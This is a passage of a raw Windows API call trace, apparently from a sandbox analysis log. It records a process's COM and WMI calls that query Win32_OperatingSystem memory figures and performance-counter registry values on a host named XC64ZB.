Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0257.341] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0257.341] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b34a5e8) returned 0x0 [0257.341] IMarshal:GetUnmarshalClass (in: This=0x1b34a5e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0257.341] IUnknown:Release (This=0x1b34a5e8) returned 0x3 [0257.341] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0257.342] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0257.342] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0257.342] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0257.342] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0257.342] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0257.342] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b34a5e0) returned 0x0 [0257.342] IUnknown:AddRef (This=0x1b34a5e0) returned 0x4 [0257.342] IUnknown:Release (This=0x1b34a5e0) returned 0x3 [0257.342] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0257.342] CoTaskMemFree (pv=0x524820) [0257.343] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0257.343] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0257.343] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0257.343] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0257.343] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0257.343] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0257.344] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0257.344] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0257.344] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0257.344] IUnknown:Release (This=0x4b0108) returned 0x1 [0257.346] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d497080) returned 0x0 [0257.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0257.346] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d497080, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0257.346] WbemDefPath:IUnknown:Release (This=0x1d497080) returned 0x0 [0257.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0257.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0257.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0257.347] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0257.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0257.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0257.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497140) returned 0x0 [0257.347] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497140, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0257.347] WbemDefPath:IUnknown:Release (This=0x1d497140) returned 0x3 [0257.347] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0257.347] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0257.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0257.348] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0257.348] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0257.348] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0257.348] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0257.348] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0257.348] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0257.348] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0257.348] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0257.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0257.348] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0257.348] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0257.349] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0257.349] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0257.349] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0257.349] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877160*=0, plFlavor=0x2877164*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2877160*=21, plFlavor=0x2877164*=0) returned 0x0 [0257.349] SysStringByteLen (bstr="1395304") returned 0xe [0257.349] SysStringByteLen (bstr="1395304") returned 0xe [0257.350] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877160*=21, plFlavor=0x2877164*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2877160*=21, plFlavor=0x2877164*=0) returned 0x0 [0257.350] SysStringByteLen (bstr="1395304") returned 0xe [0257.350] SysStringByteLen (bstr="1395304") returned 0xe [0257.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0257.350] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0257.350] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0257.350] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877358*=0, plFlavor=0x287735c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2877358*=21, plFlavor=0x287735c*=0) returned 0x0 [0257.350] SysStringByteLen (bstr="2096620") returned 0xe [0257.350] SysStringByteLen (bstr="2096620") returned 0xe [0257.351] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2877358*=21, plFlavor=0x287735c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2877358*=21, plFlavor=0x287735c*=0) returned 0x0 [0257.351] SysStringByteLen (bstr="2096620") returned 0xe [0257.351] SysStringByteLen (bstr="2096620") returned 0xe [0257.351] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0257.351] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0257.351] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0259.484] GetTickCount64 () returned 0xab7c76 [0259.484] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0259.485] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x291b4f8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x291b4f8*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0259.487] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0259.488] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x292c910, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x292c910*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0259.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0259.492] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0259.492] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.492] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0259.493] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0259.493] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0259.493] IUnknown:Release (This=0x4b0108) returned 0x1 [0259.493] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4970c0) returned 0x0 [0259.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0259.494] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4970c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496ee0) returned 0x0 [0259.494] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x0 [0259.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496ee0) returned 0x0 [0259.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0259.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0259.495] WbemLocator:IUnknown:AddRef (This=0x1d496ee0) returned 0x3 [0259.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0259.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0259.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0259.495] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0259.495] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0259.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0259.495] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x2 [0259.495] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x1 [0259.495] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0259.495] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0259.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ee0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496ee0) returned 0x0 [0259.496] WbemLocator:IUnknown:AddRef (This=0x1d496ee0) returned 0x3 [0259.496] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x2 [0259.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0259.496] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0259.496] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.496] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496f20) returned 0x0 [0259.496] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496f20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475380) returned 0x0 [0260.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475380, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b350e60) returned 0x0 [0260.094] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350e60, pProxy=0x1d475380, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0260.094] WbemLocator:IUnknown:Release (This=0x1b350e60) returned 0x1 [0260.094] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475380, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b350ea8) returned 0x0 [0260.094] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475380, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b350e60) returned 0x0 [0260.094] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350e60, pProxy=0x1d475380, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0260.094] WbemLocator:IUnknown:Release (This=0x1b350e60) returned 0x2 [0260.094] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x1 [0260.094] 